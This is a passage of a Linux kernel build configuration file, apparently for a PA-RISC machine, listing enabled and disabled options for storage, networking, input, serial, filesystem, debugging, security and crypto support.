# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_WD719X is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
# CONFIG_SATA_PMP is not set

#
# Controllers with non-SFF native interface
#
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
CONFIG_PATA_CMD64X=m
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
# CONFIG_PATA_SCH is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_ATA_GENERIC is not set
# CONFIG_PATA_LEGACY is not set
# CONFIG_MD is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
# CONFIG_NET_TEAM is not set
# CONFIG_MACVLAN is not set
# CONFIG_VXLAN is not set
# CONFIG_MACSEC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_TUN is not set
# CONFIG_TUN_VNET_CROSS_LE is not set
# CONFIG_VETH is not set
# CONFIG_NLMON is not set
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#

#
# Distributed Switch Architecture drivers
#
CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_AGERE is not set
# CONFIG_NET_VENDOR_ALACRITECH is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_ALTERA_TSE is not set
# CONFIG_NET_VENDOR_AMAZON is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_AQUANTIA is not set
# CONFIG_NET_VENDOR_ARC is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_VENDOR_AURORA is not set
# CONFIG_NET_CADENCE is not set
CONFIG_NET_VENDOR_BROADCOM=y
# CONFIG_B44 is not set
# CONFIG_BCMGENET is not set
# CONFIG_BNX2 is not set
# CONFIG_CNIC is not set
CONFIG_TIGON3=m
CONFIG_TIGON3_HWMON=y
# CONFIG_BNX2X is not set
# CONFIG_BNXT is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_VENDOR_CAVIUM is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EZCHIP is not set
# CONFIG_NET_VENDOR_EXAR is not set
# CONFIG_NET_VENDOR_HP is not set
# CONFIG_NET_VENDOR_INTEL is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NETRONOME is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_QUALCOMM is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RENESAS is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_ROCKER is not set
# CONFIG_NET_VENDOR_SAMSUNG is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_NET_VENDOR_SOLARFLARE is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_NET_VENDOR_SYNOPSYS is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_MDIO_DEVICE=m
# CONFIG_MDIO_BITBANG is not set
# CONFIG_MDIO_THUNDER is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
# CONFIG_AMD_PHY is not set
# CONFIG_AQUANTIA_PHY is not set
# CONFIG_AT803X_PHY is not set
# CONFIG_BCM7XXX_PHY is not set
# CONFIG_BCM87XX_PHY is not set
# CONFIG_BROADCOM_PHY is not set
# CONFIG_CICADA_PHY is not set
# CONFIG_DAVICOM_PHY is not set
# CONFIG_DP83848_PHY is not set
# CONFIG_DP83867_PHY is not set
# CONFIG_FIXED_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_INTEL_XWAY_PHY is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_LXT_PHY is not set
# CONFIG_MARVELL_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MICROCHIP_PHY is not set
# CONFIG_MICROSEMI_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_QSEMI_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_SMSC_PHY is not set
# CONFIG_STE10XP is not set
# CONFIG_TERANETICS_PHY is not set
# CONFIG_VITESSE_PHY is not set
# CONFIG_XILINX_GMII2RGMII is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Host-side USB support is needed for USB Network Adapter support
#
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set
# CONFIG_NVM is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_BYD=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_CYPRESS=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_PS2_FOCALTECH=y
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set
# CONFIG_RMI4_CORE is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_USERIO is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_LEGACY_PTYS is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
# CONFIG_DEVMEM is not set
CONFIG_DEVKMEM=y

#
# Serial drivers
#
CONFIG_SERIAL_EARLYCON=y
CONFIG_SERIAL_8250=y
# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
# CONFIG_SERIAL_8250_FINTEK is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_EXAR=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
# CONFIG_SERIAL_8250_EXTENDED is not set
# CONFIG_SERIAL_8250_FSL is not set
# CONFIG_SERIAL_8250_DW is not set
# CONFIG_SERIAL_8250_RT288X is not set
# CONFIG_SERIAL_8250_MOXA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_UARTLITE is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_SERIAL_DEV_BUS is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_XILLYBUS is not set

#
# I2C support
#
# CONFIG_I2C is not set
# CONFIG_SPI is not set
# CONFIG_SPMI is not set
# CONFIG_HSI is not set

#
# PPS support
#
CONFIG_PPS=m
# CONFIG_PPS_DEBUG is not set

#
# PPS clients support
#
# CONFIG_PPS_CLIENT_KTIMER is not set
# CONFIG_PPS_CLIENT_LDISC is not set
# CONFIG_PPS_CLIENT_GPIO is not set

#
# PPS generators support
#

#
# PTP clock support
#
CONFIG_PTP_1588_CLOCK=m

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
# CONFIG_GPIOLIB is not set
# CONFIG_W1 is not set
# CONFIG_POWER_AVS is not set
# CONFIG_POWER_RESET is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=m
# CONFIG_HWMON_VID is not set
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_ASPEED is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_NCT6683 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH56XX_COMMON is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_LPC_ICH is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_MT6397 is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RTSX_PCI is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_MFD_SYSCON is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set

#
# ACP (Audio CoProcessor) Configuration
#
# CONFIG_DRM_LIB_RANDOM is not set

#
# Frame buffer Devices
#
# CONFIG_FB is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set
# CONFIG_VGASTATE is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_STI_CONSOLE=y
# CONFIG_SOUND is not set

#
# HID support
#
# CONFIG_HID is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_SUPPORT is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_INTF_DEV_UIE_EMUL=y
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#

#
# SPI RTC drivers
#

#
# SPI and I2C RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1685_FAMILY is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_DS2404 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y

#
# HID Sensor RTC drivers
#
# CONFIG_DMADEVICES is not set

#
# DMABUF options
#
# CONFIG_SYNC_FILE is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_VIRT_DRIVERS is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
# CONFIG_HYPERV_TSCPAGE is not set
# CONFIG_STAGING is not set

#
# Hardware Spinlock drivers
#

#
# Clock Source drivers
#
# CONFIG_ATMEL_PIT is not set
# CONFIG_SH_TIMER_CMT is not set
# CONFIG_SH_TIMER_MTU2 is not set
# CONFIG_SH_TIMER_TMU is not set
# CONFIG_EM_TIMER_STI is not set
# CONFIG_MAILBOX is not set
# CONFIG_IOMMU_SUPPORT is not set

#
# Remoteproc drivers
#
# CONFIG_REMOTEPROC is not set

#
# Rpmsg drivers
#

#
# SOC (System On Chip) specific Drivers
#

#
# Broadcom SoC drivers
#

#
# i.MX SoC drivers
#
# CONFIG_SUNXI_SRAM is not set
# CONFIG_SOC_TI is not set
# CONFIG_SOC_ZTE is not set
# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_NTB is not set
# CONFIG_VME_BUS is not set
# CONFIG_PWM is not set
CONFIG_ARM_GIC_MAX_NR=1
# CONFIG_IPACK_BUS is not set
# CONFIG_RESET_CONTROLLER is not set
# CONFIG_FMC is not set

#
# PHY Subsystem
#
# CONFIG_GENERIC_PHY is not set
# CONFIG_PHY_PXA_28NM_HSIC is not set
# CONFIG_PHY_PXA_28NM_USB2 is not set
# CONFIG_BCM_KONA_USB2_PHY is not set
# CONFIG_POWERCAP is not set
# CONFIG_MCB is not set

#
# Performance monitor support
#
# CONFIG_RAS is not set

#
# Android
#
# CONFIG_ANDROID is not set
# CONFIG_DAX is not set
# CONFIG_NVMEM is not set
# CONFIG_STM is not set
# CONFIG_INTEL_TH is not set

#
# FPGA Configuration Support
#
# CONFIG_FPGA is not set

#
# FSI support
#
# CONFIG_FSI is not set

#
# File systems
#
# CONFIG_EXT2_FS is not set
# CONFIG_EXT3_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT2=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_ENCRYPTION is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
# CONFIG_F2FS_FS is not set
# CONFIG_FS_DAX is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
# CONFIG_EXPORTFS_BLOCK_OPS is not set
CONFIG_FILE_LOCKING=y
CONFIG_MANDATORY_FILE_LOCKING=y
# CONFIG_FS_ENCRYPTION is not set
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set
# CONFIG_OVERLAY_FS is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
# CONFIG_ISO9660_FS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_MSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
# CONFIG_PROC_KCORE is not set
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
# CONFIG_PROC_CHILDREN is not set
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
CONFIG_HUGETLBFS=y
CONFIG_HUGETLB_PAGE=y
# CONFIG_CONFIGFS_FS is not set
# CONFIG_MISC_FILESYSTEMS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set
# CONFIG_NLS is not set

#
# Kernel hacking
#

#
# printk and dmesg options
#
# CONFIG_PRINTK_TIME is not set
CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4
# CONFIG_BOOT_PRINTK_DELAY is not set

#
# Compile-time checks and compiler options
#
# CONFIG_DEBUG_INFO is not set
# CONFIG_ENABLE_WARN_DEPRECATED is not set
# CONFIG_ENABLE_MUST_CHECK is not set
CONFIG_FRAME_WARN=1024
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_UNUSED_SYMBOLS is not set
# CONFIG_PAGE_OWNER is not set
# CONFIG_DEBUG_FS is not set
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_SECTION_MISMATCH=y
CONFIG_SECTION_MISMATCH_WARN_ONLY=y
CONFIG_ARCH_WANT_FRAME_POINTERS=y
CONFIG_FRAME_POINTER=y
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_MAGIC_SYSRQ is not set
CONFIG_DEBUG_KERNEL=y

#
# Memory Debugging
#
# CONFIG_PAGE_EXTENSION is not set
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_PAGE_POISONING is not set
# CONFIG_DEBUG_RODATA_TEST is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
CONFIG_DEBUG_STACK_USAGE=y
# CONFIG_DEBUG_VM is not set
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_HAVE_DEBUG_STACKOVERFLOW=y
CONFIG_DEBUG_STACKOVERFLOW=y
# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Lockups and Hangs
#
# CONFIG_LOCKUP_DETECTOR is not set
# CONFIG_DETECT_HUNG_TASK is not set
CONFIG_WQ_WATCHDOG=y
# CONFIG_PANIC_ON_OOPS is not set
CONFIG_PANIC_ON_OOPS_VALUE=0
CONFIG_PANIC_TIMEOUT=0
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHED_INFO is not set
# CONFIG_SCHEDSTATS is not set
CONFIG_SCHED_STACK_END_CHECK=y
# CONFIG_DEBUG_TIMEKEEPING is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
CONFIG_DEBUG_ATOMIC_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_LOCK_TORTURE_TEST is not set
# CONFIG_WW_MUTEX_SELFTEST is not set
# CONFIG_STACKTRACE is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_PI_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set

#
# RCU Debugging
#
# CONFIG_PROVE_RCU is not set
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_TORTURE_TEST is not set
# CONFIG_RCU_PERF_TEST is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_RCU_EQS_DEBUG is not set
# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_TRACING_SUPPORT=y
# CONFIG_FTRACE is not set

#
# Runtime Testing
#
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_TEST_SORT is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_PERCPU_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_TEST_HEXDUMP is not set
# CONFIG_TEST_STRING_HELPERS is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_TEST_PRINTF is not set
# CONFIG_TEST_BITMAP is not set
# CONFIG_TEST_UUID is not set
# CONFIG_TEST_RHASHTABLE is not set
# CONFIG_TEST_HASH is not set
# CONFIG_TEST_LKM is not set
# CONFIG_TEST_USER_COPY is not set
# CONFIG_TEST_BPF is not set
# CONFIG_TEST_FIRMWARE is not set
# CONFIG_TEST_UDELAY is not set
# CONFIG_MEMTEST is not set
# CONFIG_TEST_STATIC_KEYS is not set
# CONFIG_BUG_ON_DATA_CORRUPTION is not set
# CONFIG_SAMPLES is not set
# CONFIG_ARCH_WANTS_UBSAN_NO_NULL is not set
CONFIG_UBSAN=y
CONFIG_UBSAN_ALIGNMENT=y
CONFIG_UBSAN_NULL=y
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
# CONFIG_SECCOMP is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y
CONFIG_HARDENED_USERCOPY=y
# CONFIG_STATIC_USERMODEHELPER is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_RNG_DEFAULT=m
CONFIG_CRYPTO_AKCIPHER2=y
CONFIG_CRYPTO_KPP2=y
CONFIG_CRYPTO_ACOMP2=y
# CONFIG_CRYPTO_RSA is not set
# CONFIG_CRYPTO_DH is not set
# CONFIG_CRYPTO_ECDH is not set
CONFIG_CRYPTO_MANAGER=m
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
# CONFIG_CRYPTO_GF128MUL is not set
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_NULL2=y
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_MCRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
